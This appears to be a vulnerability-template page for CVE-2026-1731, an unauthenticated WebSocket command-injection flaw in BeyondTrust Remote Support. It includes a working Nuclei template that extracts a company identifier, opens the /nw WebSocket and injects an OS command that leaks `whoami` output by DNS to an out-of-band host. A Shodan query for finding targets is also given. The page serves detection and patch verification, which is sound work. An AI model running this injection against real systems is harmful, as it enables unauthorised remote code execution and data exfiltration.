BeyondTrust Remote Support - Unauthenticated WebSocket RCE
CVE-2026-1731
Verified
Description
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
Severity
Critical
Exploit Probability
65%
Affected Product
remote_support
Published Date
February 10, 2026
Template Author
attackerkb, hacktron, pdteam
CVE-2026-1731.yaml
id: CVE-2026-1731
info:
name: BeyondTrust Remote Support - Unauthenticated WebSocket RCE
author: attackerkb,hacktron,pdteam
severity: critical
description: |
BeyondTrust Remote Support is vulnerable to unauthenticated remote code execution via the WebSocket endpoint /nw. An attacker can extract the company identifier from the /get_mech_list endpoint and use it to connect to the WebSocket service, then inject OS commands through the binary WebSocket payload that are executed on the server.
impact: |
Remote attackers can execute arbitrary commands on the system without authentication, potentially leading to full system compromise.
remediation: |
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.
reference:
- https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis
- https://www.hacktron.ai/blog/cve-2026-1731-beyondtrust-remote-support-rce
- https://www.beyondtrust.com/trust-center/security-advisories/bt26-02
classification:
cve-id: CVE-2026-1731
epss-score: 0.64611
epss-percentile: 0.98425
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: beyondtrust
product: remote_support
shodan-query: http.html:"BeyondTrust"
tags: cve,cve2026,beyondtrust,rce,websocket,oob,js,vuln,vkev,kev
flow: http(1) && javascript(1)
http:
- raw:
- |
GET /get_mech_list?version=3 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: word
part: body
words:
- "company"
internal: true
extractors:
- type: regex
name: company
part: body
group: 1
regex:
- '"default_company"\s*:\s*"([^"]+)"'
internal: true
javascript:
- code: |
const net = require("nuclei/net");
const nb = require("nuclei/bytes");
let address = Host + ":443";
let conn;
try { conn = net.OpenTLS('tcp', address); } catch(e) { conn = net.Open('tcp', address); }
// Step 1: WebSocket upgrade handshake
let handshake = "GET /nw HTTP/1.1\r\n";
handshake += "Host: " + Host + "\r\n";
handshake += "Upgrade: websocket\r\n";
handshake += "Connection: Upgrade\r\n";
handshake += "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n";
handshake += "Sec-WebSocket-Version: 13\r\n";
handshake += "Sec-WebSocket-Protocol: ingredi support desk customer thin\r\n";
handshake += "X-Ns-Company: " + company + "\r\n";
handshake += "\r\n";
conn.Send(handshake);
let resp = conn.RecvString(4096);
let result = "";
if (resp.indexOf("101") !== -1) {
// Step 2: Build binary WebSocket frame with command injection payload
let payload = "hax[$(/usr/bin/nslookup $(whoami)." + oob + ")]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n";
let buf = new nb.Buffer();
buf.WriteString(payload);
let payloadHex = buf.Hex();
let payloadLen = buf.Len();
// WebSocket frame structure:
// Byte 1: FIN=1 + RSV=000 + Opcode=0010 (binary) = 0x82
// Byte 2: MASK=1 + payload length
// If length < 126: single byte (7-bit length)
// If length 126-65535: byte=126, then 2-byte big-endian length
// Masking key: 00000000 (no-op XOR mask)
let frameHeader = "82";
if (payloadLen < 126) {
frameHeader += (0x80 | payloadLen).toString(16).padStart(2, '0');
} else {
frameHeader += "fe"; // 0x80 | 126
frameHeader += ((payloadLen >> 8) & 0xFF).toString(16).padStart(2, '0');
frameHeader += (payloadLen & 0xFF).toString(16).padStart(2, '0');
}
frameHeader += "00000000";
let frameHex = frameHeader + payloadHex;
conn.SendHex(frameHex);
result = conn.RecvString(4096);
}
conn.Close();
result;
args:
Host: "{{Host}}"
company: "{{company}}"
oob: "{{interactsh-url}}"
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
extractors:
- type: regex
group: 1
part: interactsh_request
regex:
- '([a-zA-Z0-9_-]+)\.[a-z0-9]{20,}\.'
# digest: 4a0a0047304502207c1ffd8ed16ec93c9a9bb08c347f50cbffa134d28987021a3b71e15d6f3121d70221008d7a9c21d2617497a166bc62b3b30845a274dddd2aef82a965847c8568f4508a:922c64590222798bb761d5b6d8e729509.5Severity
CVSS Metrics
CVE ID:
cve-2026-1731
CWE ID:
cwe-78
Remediation Steps
Apply the latest security patches provided by BeyondTrust for Remote Support and Privileged Remote Access products.